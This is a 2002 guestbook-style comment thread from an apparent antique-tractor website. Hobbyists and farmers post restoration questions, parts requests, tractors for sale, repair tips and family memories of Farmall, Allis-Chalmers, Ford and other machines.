Robert Nicholson wrote on Wednesday, December 04, 2002 (PST):I traded a 350 chev engine for a model B which is now in excellent running condition. I often wondered why they would offer an electric starter as they don't have a generator. I find that when the timing is set correctly, it starts easily with the crank. An amazing little machine!
Robert Nicholson wrote on Wednesday, December 04, 2002 (PST):My dad purchased a 1952 VA in Fenelon Falls Ontario Canada to replace the clydesdale team. I remember the excitment on the day it was unloaded from the dealers truck onto the manure pile. The tractor was used to work a 100 acre mixed farm in Ontario until 1965. I still have the tractor which needs new rear tires, the originals are quite weathered. This tough little tractor stood the abuse of 3 boys learning to drive and operate equipment. Other than the odd clutch replacement the tractor is original.
Cada Farms wrote on Tuesday, December 03, 2002 (PST):Wanted oliver Super 44 or 440 runing condition or not. Wanted Super 66 wheatland model with 3 pt hitch. Cada Farms Tecumeseh Ontario Canada Please contact me at(519)-979-3330
MADDOG wrote on Tuesday, December 03, 2002 (PST):TO fix those drivelines with weak BEVEL GEARS,splined axles, etc. First, the problem...The problem exists because the parts in question WERE NOT HEAT-Treated PROPERLY. When these drivelines were designed, the technology to PROPERLY heat-quench these parts did NOT exist. Many of the old diesel engines are capable of power well in excess of what the drivelines of these tracters, crawlers and dozers would tolerate. AS a machinist/engine rebuilder for 33+ years; I have learned a "few things" about getting drivelines to withstand lots of "excess torque". I had the same problem with an Allis-Chalmers D-21 (the AC 426 cu. in. Turbo-diesel is probably the STRONGEST pulling tractor engine ever produced).ALLIS-Chalmers realised that they had a "problem" with the D-21; the engine produced far more torque than the rear end could handle (actually the CLUTCH assembly was the STRONGEST component in the driveline).Since the D-21 Series II diesels can be tweaked to 200 (PTO horsepower)just by increasing the D/fuel flow, something in the driveline HAS to fail. I solved this problem by RE-Heat-treating EVERY critical metal component in the D-21's driveline to MODERN day metal specifications. This is NOT a quick procedure and requires high temp ovens and or oxy-acetylene torches with the required temperature-monitoring equipment, but IT WILL solve the problem of WEAK final-drive components.
Joel Bartling wrote on Monday, December 02, 2002 (PST):I am 13 and own a farmall C that was passed down from my great grandpa to my grandpa to my dad and then to me. We use to have a junky mounted sickle mower that came with the tractor. We got rid of that about 8 years ago. Now what we realy want in a mounted john deere #37 mower with a 7' bar. If you now of any forsale in South Dakota or Nebraska please email me
Steven wrote on Monday, December 02, 2002 (PST):I have a Farmall cub tractor for sale we are located in New York. This tractor is all original and runs like new! I am looking to get $3200. Please call me at (917) 693-9695
Brian Flannery wrote on Saturday, November 30, 2002 (PST):Hello I think that is a very rare tractor. I have a 64 2000. I would like to know more about it what year, engine displacement etc. thank you very much Kentucky tobacco farmer Brian
Louis Rehberg wrote on Saturday, November 30, 2002 (PST):I have recently accquired a Fordson Major Deisel with a Dearborn grader on it. I would like to know if this was origional equipment or was added at a later date. Any information regarding this tractor would be greatly appreciated.
joseph fernandes wrote on Friday, November 29, 2002 (PST):i have a Mccormick Deering. I don't know the year of it, but the number is KC41619. It's pretty rusty, but what I can tell is there is some green on it. Is this possible? Do you know an address for carborator parts? I would greatly appreciate it. I might have parts for sell off of an old donor tractor. Would you be interested? Thank you.
Rj Scheller wrote on Friday, November 29, 2002 (PST):if any one has this tractor i wood want to buy it
Rj Scheller wrote on Friday, November 29, 2002 (PST):any unwanted tractor for under 1,000
Charles Parker wrote on Thursday, November 28, 2002 (PST):I have the D15 Seriews II that my dad had when he died in 1977. I found it and bought back it 2 years ago. The person who bought it after dads death did not take very good care of it. A lot of rust. I have the motor un-stuck and it runs good. The Air Cleaner is on the right side, it has a dry filter, it is rusted out and I am looking for one that is in good shape. Plans are to put the D15 back like new, as near as possible. I would appreciate any information.
Margaret Creighton wrote on Thursday, November 28, 2002 (PST):I have a Field Marshall Series 1, 1945, tractor for sale. In running order, very good condition, not rallied for many years, late 1980s. £4,500 ono. Can anyone let me know where I might advertise this free in the United Kingdom.
Herb Hutnak wrote on Wednesday, November 27, 2002 (PST):for Peter Howie; I can'thelp with a cylinder head but will pass along this info. The heads usually crack between the turbulence chambers because of heat buildup before the thermostat opens. This can be corrected by removing the bypass hose fittings at the thermostat housing and the water pump and carefully drilling them out to 11/32". (Both ends of the elbow from the thermostat housing have to be drilled out.) This allows the head and block to heat more evenly and prevents a slug of cold water from getting to the head and cracking it.
jay bodkin wrote on Wednesday, November 27, 2002 (PST):I AM LOOKING FOR AN A OR U OR 15-30 MODELS COMPLETE OR CLOSE TO IT.. CALL WITH INFO TO CHURCHVILLE VA. 540 337-6106 I HAVE BEEN LOOKING FOR AWHILE AND YOU JUST CANT FIND ANY. THANKS..
Glenn Rensink wrote on Tuesday, November 26, 2002 (PST):I am interested in knowing where I could find a cockshut tractor in running condition. ARE THERE ANY OUT THERE?
Todd Frampton wrote on Tuesday, November 26, 2002 (PST):Own a 1962 farmall 504D. Need the two sheet metal side skirts (one each side) that mount below the hood. Please respond if have or know where can be purchased. Thank You.
Chris wrote on Monday, November 25, 2002 (PST):I have a 1951 Super C and am real impressed with that tractor. We bought it brand new in 51 and had no major problems with it. It is probably one of the best tractors ever made. I know it could take a JD 60 anyday.
carl simpson wrote on Sunday, November 24, 2002 (PST):my sister has ford selectospeed tractor , approx.year is mid to late 50s. the clutch is not working, I can not figure out how to remove the cover with the two cable that run in to the top of the transmission cover. I have called several tractor mechanics, but they keep telling me I should bring the tractor in to them for repairs. my sister can not afford to take the tractor to a mechanic because of the cost. My question is, can I as a beginner repair this transmission. How do I get the cover off without making the problem worse? Any information or help would greatly appreciated. Thank you. Carl in Michigan
Chester Broda wrote on Sunday, November 24, 2002 (PST):Tractor has been sold... Thanks for all the responses!
joe wrote on Sunday, November 24, 2002 (PST):I don't know what year it is forsure but i was told it is a 48 it runs great every thing works it is an awesome tractor!!!
Chester Broda wrote on Saturday, November 23, 2002 (PST):For Sale in Trent Hills, Ontario; 1957 Oliver 440, good running condition, comes with Operator's Manual, Parts Book and 2 attachments; Disc and Bush Hawk. $2200 Cdn
mike wrote on Friday, November 22, 2002 (PST):I bought a '44 (war time) B this summer totaly restored And runs like a top For $600.00. I take it on ractor rides that we have. It is so muck fun. I have to say that it is one of the best investments that i have made.
Ken B ( S. W. Pa.) wrote on Friday, November 22, 2002 (PST):I have a front loader for a IH300,330, 340,or 350 utility I would like to sell.I also may be interested in selling a IH 300 utility that runs good. Contact me for more info.
Francisco JAvier wrote on Wednesday, November 20, 2002 (PST):I have a McCormick Farmall Cub tractor that says the next on a little plate; FABRIQUÉ EN FRANCE PAR CIMA HI PARIS MOD.; FF CUB Nº SERIE 711332 VITESSE DE REGIME MAX; 1800 TR/MN I want to know where can we find information about this tractor and which was its manufacturing year. Thak you very much in advanced.
Roxy Rox wrote on Tuesday, November 19, 2002 (PST):What is the horse power of a Fordson Major tractor?
William Dorn wrote on Tuesday, November 19, 2002 (PST):I am in need of an engine block for an F-20.I have a nice tractor that is old but nearly complete.It will be a nice project but I need the block. Any help would be appreciated.Thanks.
Tom wrote on Tuesday, November 19, 2002 (PST):I need appromimate values of the following Case items; 300 Case Disel with craked head; Case F-2 combine; early DC fenders, good shape; Case hammer mill; 1937 RC Case in restorable condition, DNR; Case grain binder; 1936 RC Case in running condition, on steel; Rc Case parts tractor; 1 row Case picker; 2-row Case planter; 600 Case tractor, DNR; 1957 Case 350 with loader, DNR; 1968 530 Case, gas, runs, steering out; couple of other parts tractors, all Case. Thanks
Arvin Busenitz wrote on Sunday, November 17, 2002 (PST):Did Oliver make a 995 without a torque converter? The tractor has 995 on the hood but no torque converter in it. Do you know how many 220's did Allis make after the D21?
Lyle Olson wrote on Sunday, November 17, 2002 (PST):I had a 1958 D17 and farmed with it for about 6 years until I sold out. It was one of the best all round tractor we had. I had a rear mount cultivator and would cultivate in the morning drop the cultivator and use the tractor on the baler. Used a 4x14 plow behind it.
dan boat mech. wrote on Sunday, November 17, 2002 (PST):I have just bought a 1952 fordson major desiel with no starter is there a starter that will work that isn't stock to the tractor. I'm just starting my own company and don't have a lot of cash. any help I would be graetful
jerry swykert wrote on Sunday, November 17, 2002 (PST):need id ford dexta i was told around 1961 it has 3 cyl. perkins the tractor was made in england i have a book on serial # but it doesent list eng models # i have found on bell housing ob9 or ob7 72867 perfect tractor looks&runs grate any info will help thank you
bill wrote on Sunday, November 17, 2002 (PST):i have a 40 cockshutt pulling tractor, i put a d 19 allis chalmers 262 cubic inch engine in it. which is also built by budda.....i am very proud of it.....not to many of them here in ky
Mark F. wrote on Saturday, November 16, 2002 (PST):Looking to purhase a Allis Chalmers G tractor. I will pay a good price, and not try to steal it..Prefer in the Northwest...Washington, Oregon, Idaho..But would be willing to have one shipped if necessary..Thank You, Mark...PS looking for one W/ seeders and cultivators if available..
Darrel Foltz wrote on Saturday, November 16, 2002 (PST):Working on AC K 35 Crawler-yr-1931. Need 1 connecting rod with spun babbit bearing-12 volt Autolite starter #ML-4123 or#ML-4177.May need more later. Help! Got a few AC Model M parts if some one needs some.
Peter wrote on Saturday, November 16, 2002 (PST):Can someone help me? I am looking for a detailed picture of the left side of the engine/collector of MH Pacemaker. I hope someone can help me because i'm restoring this old machine ;) thanks anyway!
Jeff Green wrote on Saturday, November 16, 2002 (PST):I have 2 D 14 tractors one is in good shape the other is in a few pieaces.I would like to find out more information on the two . I live in VA and there isn't to many places to get parts.Any help ?
d push wrote on Friday, November 15, 2002 (PST):We have a 1955 wd-45 narrow front end. For all of you wanting to find out more information, we have found the library to be a good source. We have also purchased some books from Barnes and Noble that have been a great help in the quest to restore our tractor. Another great source is an Allis Chalmer dealer. They should be able to get you the parts catalog, service manual, and operating instructions. Anyone have any tractors or parts they want to sell? Please contact me if you do.
Dan Schneider wrote on Friday, November 15, 2002 (PST):I'm looking for a JD 80 to add to our collection. My son and I have been looking for a long time. We have come across a few but most of the time they are either junk or misleading. WE don't mine paying a fair price, but we like an honest tractor.
Ed wrote on Wednesday, November 13, 2002 (PST):To Matt M. The one point hitch or "fast hitch" is an IH "invention" and is extreemly usefull, I would prefer it over the old three point! There are many implements available for it. BUT THEY AIN'T CHEEP!!!!! try jptractorsalvage
Jon Grimsley wrote on Tuesday, November 12, 2002 (PST):I have finally gotten my great grandpas 1938 f-20 engine is stuck and has not moved for 28 years. the rear wheels have rusted and collapsed I am going to restore it and my father is helping me he used it as a kid and it is very important to me since i dont remember my grandfather. it has a road gear and is all complete with nothing missing. but how will i find rear wheels for it i think they are 34 inch tires and wheels. and where do i start this is my first tractor and i think i am going to get a education. Help please.
The Ford Man wrote on Tuesday, November 12, 2002 (PST):Les, What the hell are you thinking!! Are you color blind!! Yellow ? What the heck bobby?!?!? Looks great as it is! Next thing you know you'll want to paint the tractor purple or some crazy color!
grandpas41a wrote on Tuesday, November 12, 2002 (PST): I own a restored 1945 LA complete with the PL20 planter. I have for sale the modle 7C mower for the tractor. I really enjoy the LA. With my John Deere 6 horse Model "E" engine, the pair draws quite a lot of attention at tractor shows.
Alan Pattison wrote on Tuesday, November 12, 2002 (PST):I am looking at picture of a 2236 in Tractor and Machinery magazine Dec 2002. The text says it is fitted with a CLM 50hp two-stroke diesel engine. Would this be an original fitting or something aftermarket.I was just interested to know, even in fact if there is such an engine Yours Alan.
Harold wrote on Monday, November 11, 2002 (PST):I Have several F-12s 1937 with 6ft sickle mower,1935 on steel with mechanical lift plow.This tractor has barn fresh oil and dirt (No paint)! I also have a 1933 ser 531 that I need a walkesha block for.
Mark Cochran wrote on Saturday, November 09, 2002 (PST):The Co-op model C like the one above was manufactured for the Co-op's by National Farm Machinery Co. in Shelbyville, IN, in the early 1940's. They made the model B-2 Sr., B-2 Jr., B-3, C, and D-3(during WW2)
John wrote on Saturday, November 09, 2002 (PST):just bought a '63 IH Cub Loboy with fast hitch and Mott mower, sickle bar, spring tooth harrow. Came with a series 1000 loader and a Brantley backhoe too. Planning on selling the loader and backhoe, but might consider some swaps. Anyone interested?
Stephen Tow wrote on Saturday, November 09, 2002 (PST):I have a 1962 Super Dexta and I am looking for a hydraulic diverter switch which controls the hydraulics from the front end loader to the draw bar. I think it might be worn to the point were hydraulic oil is leaking from one section to the other. The tractor is great but this is the only downfall I would appreciate any help with this. Thanks
Stephen Tow wrote on Saturday, November 09, 2002 (PST):I have a 1962 Super Dexta and I am looking for a hydraulic diverter switch which controls the hydraulics from the front end loader to the draw bar. I think it might be worn to the point were hydraulic oil is leaking from one section to the other. The tractor is great but this is the only downfall I would appreciate any help with this. Thanks
Jared Calvert wrote on Saturday, November 09, 2002 (PST):Just got a B and it has the wrong seat. I need to know if the serial number is found anywhere else on the tractor. 254-647-1855 jcalvert3 at academicplanet.com Thanks, Jared Calvert
Todd Burlock wrote on Saturday, November 09, 2002 (PST):Have 300 utility with a 2 point hitch want to make it into a 3 point,it's a good tractor and this would make it better. HELP!
J Young wrote on Thursday, November 07, 2002 (PST):Back in the 50s my greatgrampa had an old Massey Harris GP. My grampa told me they used it logging. After that he sold it to my other greatgrampa and bought an old cletrac dozer to take its place.
Amanda wrote on Thursday, November 07, 2002 (PST):I just acquired a 1950 Massey Harris, 55D, with a serial number of 1500, does this help the value of the tractor any?
Marti wrote on Thursday, November 07, 2002 (PST):Opps. Our tractor is either an A or a B, but we do have extensive smoke damage and would like to hear from someone in Southern CT that might be able to help us. Thanks
Marti wrote on Thursday, November 07, 2002 (PST):Our workhorse, the 1947 Farmall Cub was smoke damaged when lightening hit our barn on 9/4/02. Is there anyone in southern Connecticut that could clean up the smoke damage on our antique tractor, I believe it has original paint. Please contact Ray & I asap. Thanks
Roger L. Schafer wrote on Thursday, November 07, 2002 (PST): I have just puchased two m m u and the years for these tractors I have not found they are models 640875A & 641715A
Lavoy Wilcox wrote on Wednesday, November 06, 2002 (PST):parting out 2 cylinder John Deere crawlers, MC-440ICD, rebushed tracks, new steering clutch parts and more. Visit our website at www.jdcrawlers.com
Rob Honders wrote on Wednesday, November 06, 2002 (PST):I bought my Oliver Super 55 diesel in 1972 for $500 from a guy in Cornwall NY. I drove it home, 45 Mi. It has a Davis loader and in 1974 I added a small tubular frame backhoe. It has done a lot of work and only recently fell into disuse. I plan to replace the backhoe with a scraper to do light duty road maintenance. Trade backhoe for scraper anyone?
Jared P. Nimick wrote on Wednesday, November 06, 2002 (PST):3 years ago I purchased a Sheppard single cylinder diesel engine with approx. 8 hp. with an attached Twin-disc clutch assembly. The unit is in beautiful shape with the story that it was pulled out of a ships belly 30+ years ago in perfect running condition and placed in storage. The unit has not been run since.I have too many projects at this time, and would like to sell this to someone who can make it run again.What is it worth, or does anyone have any literature that can help? It's in beautiful shape, and needs to run again!
Pat Patterson wrote on Wednesday, November 06, 2002 (PST):I have a Dexta and a Super Dexta 2000. Need parts such as grill, lights, proofmeter cable, proofmeter, light switch, steering wheel, and exhaust gaskets for both the tractors. Also I need to know the color codes and color schemes for the two tractors. I understand that one has orange wheels with blue body and the other light grey fenders and wheels with blue body. What color is the grills? Any help will be appreciated. Thanks.
Laszlo Furu wrote on Wednesday, November 06, 2002 (PST):My father used to have a McCormick W-30 standard 1939. We lived in Transylvania (nowdays part of Romania), and I grew up watching that "oldy" that never idled. Is there anyone who knows the original sales price of these tractors?
David Poser wrote on Wednesday, November 06, 2002 (PST):I'm looking for a small tractor to use/restore. Anyone have one for sale? thanks.
David Poser wrote on Wednesday, November 06, 2002 (PST):i'm looking to buy one like this to use on my couple of acre hobby farm. And to fix up. know anyone selling one? thanks
darrell satchell wrote on Wednesday, November 06, 2002 (PST):hey did they ever get these tractors straightened out? were these the only lemons that farmall produced?
Terry Traxson wrote on Tuesday, November 05, 2002 (PST): I decided to do one of my reports for a college class on this tractor primarily because my dad owned two of them. I grew up on a farm in rural southeast kansas, and I still love to think of the symetrical sound of the massive 2 cylinder diesel. I was wondering if anyone knows where I might get some more technical information on this tractor (I am researching the engine in particular). The tractors that my dad owned was an agricultural as well as an industrial. One website that I visited said that there was only 127 industrial versions produced. Anyway, thanks for the help!
Jerry Herman wrote on Tuesday, November 05, 2002 (PST):Is their anyone out their that still makes tracks to fit modern tractors.
jim unger wrote on Tuesday, November 05, 2002 (PST):Can any one tell me what a 1952 model 60 is? What kind of engine (fuel type)and any other info. would be appreciated. What might be involved with replacing the single wheel front end with a wide type?
Bob Lewis wrote on Monday, November 04, 2002 (PST):Need to know the location of this tractor and a price..Am interested.
bob wrote on Monday, November 04, 2002 (PST):I have a 41 A that I added hydraulics to and have a 16 in. plow from a cub{ supposedly the same as for an A}, but need to see pictures of the hookup to the tractor.
Jim Dillinger wrote on Sunday, November 03, 2002 (PST):Need head for a AC-160 1971 #on head 37116180
Kenneth Namuth wrote on Sunday, November 03, 2002 (PST):The LA Case, gas burner, with turning brakes and steel platform is the first tractor I ever ran. I am looking for an 1/16 scale model, or someone to make one for me. Thanks.
Dave Field wrote on Sunday, November 03, 2002 (PST):I'm hopeing some of you might be able to help me, I just bought a home on 15.33 acres here in Michigan, the place came with many ammenities,but one of the best is a I.H. Farmall 560 diesel tractor with a two bottom plow and a disc, right now I'm waiting to close on the deal. Now my Gandpa had Farmalls as far back as I can remember,his favorite was his old model H but, this 560 is a completely different beast all together, I'd like to find out everything I can about this old girl, as she and I came to be, back in Feburary of 1961( according to the plate I found on her).Everything seems to be in working order on her but, I have no idea of maintence schedules to keep her this way. perhaps someone could let me know where I could find any literature, (i.e. manuals)and perhaps you might know of what other attachments can be found for her. Grandpa's old model H has long since been sold, after his death, and he'ld be proud to know that at least one of his kin still remembers him on his tractor and, the pride he showed in her ownership( the fact is, he had to put a heat lamp on her block the night before he would use her to get her to start the next morning, she was that tired)He loved that old tractor and they both worked the fields together till one of them parted, One day, I hope my Granddaughter will remember driving Grandpa's (my)old tractor too.
elizabeth webb wrote on Sunday, November 03, 2002 (PST):I need to know the original color of a 1950 TO20 tractor was painted.
ray royal wrote on Sunday, November 03, 2002 (PST):I am looking to buy an 8n or 9n ford tractor at a reasonable price, i live in northeast louisiana
Tim Bruce wrote on Sunday, November 03, 2002 (PST):i have a neighbor that has a tractor that is similar to the wards mentioned and looks a bit like the co op, it also has a dodge 6 cyl. dodge trans. and rear end. the name of it is lehr bigboy, as far as anyone here can remember it was mfg. and sold somewhere in ohio, we have searched everywhere for info. on this tractor, it is still with the original owner, have never saw another one anywhere, can anyone help!, please email me. thanks.
SANDRO wrote on Saturday, November 02, 2002 (PST):solicito informacion tecnica sobre el tractor farmall regular para restaurar una unidad similar
Christine Schmidt wrote on Saturday, November 02, 2002 (PST):I have a Farmall Model H sn - FBH327453x1. I would like to know the year the tractor was made and how much it would sell for. Thank You.
richard v larusso wrote on Saturday, November 02, 2002 (PST):i restore a m/h 81 a real great machine but can get any vsie covers sherwin willian carry paint chips for agreat number of antique.
scrany wrote on Thursday, October 31, 2002 (PST):Cookie, If you scroll up about 30 comments you will see an article about dating your tractor by "Farmike"
chuck wrote on Wednesday, October 30, 2002 (PST):Have AC-M-160 with a loader. It needs a trans, has a new paint job, good eng and tires. Looking to part out, if I can not find a trans.
Xeramathea wrote on Tuesday, October 29, 2002 (PST):I have owned my 1955 Oliver Super Oliver for about 15 years, its always been a good tractor and has done a lot of work. Sadly, due to certain circumstances I have to sell it. ; (
Ken wrote on Tuesday, October 29, 2002 (PST):My dad had 3 1066's at one time, all bought brand new in the mid 70's. This is probably the best tractor IH ever built. Wish we still had them.
Gary Miller wrote on Tuesday, October 29, 2002 (PST):I have a 42 H that my grandfather bought new when he quit farming with mules. I purchased it from his estate in 1984. It has electric start, lights, power lift, and has a two row planter, cultivator, and two or single row bedder. Used mainly for garden and light farm work. My cousins and I played many an hour on this tractor when visiting our grandparents. It is still in original condition but some day I hope to restore it. This tractor will be passed along to my son some day.
biff barner wrote on Tuesday, October 29, 2002 (PST):I have a '32 f-12 with narrow front-end on rubber and many several spare parts including magnetor and fuel pump accessories...my granfather farmed with it since it was new. It was rebuilt in 1980's as a parade tractor..still in good shape, but needs some cleaning up..started it just yesterday....although I hate to part with it the time has come....any Idea how much we should ask for this tractor? anybody interested.
Marv Larson wrote on Tuesday, October 29, 2002 (PST):Yes, I've run one of these as new in 1955,working it 6-7 years. It was a good tractor for our needs, however, I didn't like the huge jump in gear ratio from 2nd to 3rd. 2nd was too slow, and 3rd was too fast. This tractor could've used another gear between. I understand that the 600 did have this improvement. Does anyone know for sure? I could be wrong on this point. I'm convinced that the MM- Model G would've been a better choice for us at the time. Being a teenager then, I had not that choice. I think $$$ cost was a considerable factor. The Case 500 was a less exspensive choice, and the man/operator availability, even though diminishing then, was sufficient to apply the extra time required to operate a smaller machine. Hence, an extra plow rating was not as important as was the initial cost, for us, near Choteau, Mt.
Jim Cox wrote on Monday, October 28, 2002 (PST):I am ready to buy my first tractor, just for fun. Two options are a 9N w front loader for 2500 or 8N with blade and brushhog for probably under 2000. which is the better buy? thanks. JC
Warren wrote on Monday, October 28, 2002 (PST):Im looking for the # 4 fuel line for my fordson major diesel tractor. Please help. Thanks
milton cayette jr. wrote on Monday, October 28, 2002 (PST):I have a 1951 model G hi-crop. This tractor have been restored about 70%. I mostly drive my G in the christmas parade each year. This G was mostly used on our farm to cultivate our sugar cane crop. Sometime i starts it up just to hear it pop because thier is no other sweeter then that.
NATHAN MCNATT wrote on Monday, October 28, 2002 (PST):looking for a place to buy parts for a i think it is 1942 farmall smd not sure on the year any help well be greatfull
Rob wrote on Monday, October 28, 2002 (PST):Am looking for a John Deere MC in good condishion with working hydralic's for a fair price---have tractor to trade.
Ron Gabalis wrote on Sunday, October 27, 2002 (PST):I have 3 F12-F14 tractors two with gas engines one without, all on steel lug wheels. They have been outdoors for 30 years or more. I have many farm implements from the thirtys. I also have an old Massy Harris,& Allis Chalmer's tractor. I would sell them (CHEAP) single or all together as a package. Call at 989-275-4346 or E-mail me.
Tony wrote on Sunday, October 27, 2002 (PDT):Can these (Pony) tractors be adapted to accept a hoe? Thanks
k.p. tolbert wrote on Saturday, October 26, 2002 (PDT): I have a 1963 ford 2000 offset. It is still in use today, but not as a row crop tractor. I initially used it to clear 4 acres out of 20, using a boxblade. It dug a full basement for my house to set on (28 by 50), I had to wait for the bluprints to get fininshed so I had time on my hands, it took 3 months off and on. I use it now to keep trails clear on the rest of the 20 acres, and remove small trees and do some clearing. I dont believe this tractor has refused to do anything that I asked it to. It still amazes me with its durability and strenght, I cannot say enough about it, I would consider selling it if it would bring a GOOD price, but would hate to see it go, it has been a good reliable friend.
Lawrence Kole wrote on Saturday, October 26, 2002 (PDT):We had an 820 and an 830 Rice Special on the farm were I grew up in Chambers Co. Tex. I spent many many days on those tractors working up the heavy gumbo soil on our farm pulling molboard plows, disks, harrows and pulling rice carts during the harvest. There is no way I could have known back then in the '50's and '60's how lonesome I would get someday just to hear that sound again. I yearn to hear that comforting authority of the sound of those tractors again. Gosh, I do so desperately need to hear them again.
kenny wrote on Saturday, October 26, 2002 (PDT):Hey. there is a farmer up my road and he is selling a 560 turbo D farmall tractor. But it has a cracked gernal. the farmer wants 1500. Is the time and parts worth the overall price for the tractor. please email back
LLoyd Thomas wrote on Saturday, October 26, 2002 (PDT):yes i have used farmall m they areareal good machie
Lance H. (Texas) wrote on Saturday, October 26, 2002 (PDT):Am in the process of restoring a 1955 International 300 Utility (that my father purchased new), and have questions on the stainless steel names that attatch to the hood. Is the background painted between the letters on the following words, and if so, what colors; 1. utility 2. 300 3. International 4. Torque Amplifier Also, am looking for the metal battery top (cover), and the IH stainless emblem that fits the top front of hood. Any information on where to locate these items would be greatly appreciated. Also, have located a very good source for complete set of decals for IH 300 & other IH tractors. Contact me for this information. Thank you for your considerations.
jack wrote on Saturday, October 26, 2002 (PDT):Does anyone know who might specialize in rebuilting starters Mine is a Delco from my Model 60 JD. Local shop said, he didn't have the parts and didn't know where to get replacement parts.
Indiana Rock wrote on Saturday, October 26, 2002 (PDT):My brother and I are finishing up a restoration on a 57 Cub Loboy. What is the correct seat? Is it the pan seat or the one referred to in ads as the assembly, having a back and in some cases arms. The original operators manual shows the "assembly" style in all the photos. I have never seen this style seat on any Cub, I,ve always seen the pan seat.
matt m wrote on Friday, October 25, 2002 (PDT):I think a lot of us are looking for this very tractor but nobody's giving them up.
Shannon Wallace wrote on Thursday, October 24, 2002 (PDT):What is a good price to pay for a restorable G ? My supervisor has his dad's old G wants to sell it, but he doesn't know how much he should ask for it. He asked me what the going price was and I don't have a clue so if anyone could help me out I'd be very thanklful.
H Legrand christensen wrote on Thursday, October 24, 2002 (PDT):I have a 50 Z MM I need a oil filter,My fram book is a 1991 It does not list a filter for a Z,It dont go back that far It does list a couple for jetstars--Ch 125 pl Ch251 Pl any chance one of these would fit,I need Help,Thank you
H Legrand christensen wrote on Thursday, October 24, 2002 (PDT):I have a 50 Z MM I need a oil filter,My fram book is a 1991 It does not list a filter for a Z,It dont go back that far It does list a couple for jetstars--Ch 125 pl Ch251 Pl any chance one of these would fit,I need Help,Thank you
Cookie wrote on Thursday, October 24, 2002 (PDT):I have a Farmall Tractor and I don't know the year. If anyone knows how to tell what year it is please e-mail me to let me know. Thanks.
Garry Stutts wrote on Thursday, October 24, 2002 (PDT):just inherited a blue tractor the front grill says super dexta, could someone please help with id, want to restore myself, any comments on finding parts. plus how do you determine if tractor is a 2000, or 3000. doing work myself on limited budget is this restoration affordable. or costly either way i'm going to restore, if costly it may take longer. can anyone help with some pros and cons thanks Garry
Peter Howie wrote on Thursday, October 24, 2002 (PDT):I have a 2010 diesel row crop utility and after having the head cast welded two years ago for cracks between the turbulence chambers, I have discovered that they have developed additional cracks. If anyone could help me out with a head in good condition or could advise me where I may obtain one, could they please let me know. I am also searching for injector nozzles or a nozzle rebuild kit.
Tom Dickison wrote on Wednesday, October 23, 2002 (PDT):We had two F-30's when I grew up. One was on rubber, the other on steel. We used them both as compactors in bunker silos. I have been trying to find a picture of an F-30, no luck yet!
Wally wrote on Wednesday, October 23, 2002 (PDT):The narrow front does tend to dig in a bit in wet conditions. Mine has 5x15 tires and front and that doesn't give a whole lot of tire on the ground. Going straight isn't too bad, unless it's real wet. When you turn it might really want to dig in. As far as changing the front end... that might help, but they're difficult to find. With a wide front you might be able to put a wider front tire on which would help a bit. It would also make it much safer on slopes and ditches. Tri-cycles tend to be tippy. I'm not sure exactly what you are refering to in cutters but mine has no problem with the original IH 7' sickle mower. I've often wondered if I could put some larger front wheels on front. Yours probably has three tabs welded on the rims which holds the rim to the front wheel. H's and M's as well as 141 combines and other implements had heavier rims and tires which didn't have these three tabs welded like this. It might be possible to adapt these to a 'C'. This would allow a larger tire to be used and would provide better flotation. Hope this helps.
Bill Hanson wrote on Tuesday, October 22, 2002 (PDT):My 1943 M has fresh paint and I will have pictures in the near future. May be willing to sell and listen to serious offers. It really brings back the memories.
Lucky Jecs wrote on Tuesday, October 22, 2002 (PDT):I have a 63 Ford 2000 and am looking for parts or complete tractor..Please e-mail dawnluck at aol.com Thanks
James Anderson wrote on Tuesday, October 22, 2002 (PDT):Both seals on front of transmission leak. Ihave new seals but I wondered if they could be replaced without splitting tractor. Any Info would be welcome Thanks
DANA STURGILL wrote on Tuesday, October 22, 2002 (PDT):Have had two 1066's over the past 25 years, two 1486's. Great tractors, my 17 yr. old son pulls a 1974 1066. He put duels on and packs it with weights. Put bigger injectors and big blower, that's all. Runs with the big boys.
Ray Hopkins wrote on Monday, October 21, 2002 (PDT):I purchased one of these in 1972,restored it & exibited at rallies & vintge ploughing matches until I sold it on about 1990. Wonderfull machine,thoroughly enjoyed driving it everywhere I took it, only problem, other people on the road did not realise its speed and did not get out of the way.
Donna Baraw wrote on Monday, October 21, 2002 (PDT):My question is I own an Oliver 55-550? My manuel says both, are they interchangeable?I am looking for PTO clutch spider---my tractor looks exactly like the one in the picture. Has the hand lever to engage and disengage the PTO. Also how do I find out what year it is?
Phil Smitty wrote on Monday, October 21, 2002 (PDT):That's real stupid painting a farmall black in memory of DE ( his name ain't worth typing out ), get over it he's dead. Anybody who morns a dead racing guy has major issues. You just ruined your tractor. The loser deserved what he got anyways.
JimB in Texas wrote on Sunday, October 20, 2002 (PDT):I have a IH 444 missing side panels and need some other replacement parts. Would appreciate information to where I might locate panels and parts.
Keith Kilber wrote on Sunday, October 20, 2002 (PDT):My dad had 2 MM U's which we used to pull JD 3 bottom plows with pony drills for seeding small grains. He sold one of the tractors when I went into the Army. He kept the other and used it until he passed away. We would now like to sell it. It is a 1954 model with standard front. I can mail pictures if you want to email me. Thanks
Orest Panchuk wrote on Sunday, October 20, 2002 (PDT):I have a tractor that looks similar to the one on the picture, It has the side shields and a fancy grill in the front (sq wire mesh) It has been sitting for 40 ?? years. Can it be a 10-20? any interest?
Lloyd Powell wrote on Saturday, October 19, 2002 (PDT):I have just been offered a late model 560d, wide front, 2 pt hitch, 2 new rear tires, said to be in great shape 'cept for being weathered, $3000.00. I have a small ranch and will be using to work hay, I have a new holland 7 ft disc mower and am wondering if the hyd will pick up the blade. Is it expensive to put on a 3 pt conversion? I have a 53 super M with a 3 pt conversion a great tractor but the hyd is not strong enough. Is the proce to much for the 560? pls let me hear from some of you with 560d. muleskinner at ev1.net. thanks
RICHARD MOORE wrote on Thursday, October 17, 2002 (PDT):I have a 1942 B that was a gift from my father in law. I had set up a three point hitch on it and it worked perfectly until i hit a big bump and bounced the box scraper that was in the raised position. Since then it won't hold lift pressure unless you provide lift from the pump. Any ideas on what I broke would be appreciated. I love this old tractor.
Gary wrote on Thursday, October 17, 2002 (PDT):Have 560D wide front orchard tractor what would one in great shape be worth ?
LOUIS KROCK wrote on Thursday, October 17, 2002 (PDT):I purchased a 1948D Leader last July from Michigan. I fixed it up took it to Portland in. to the tractor show. I joined the Leader club and had a lot of fun.
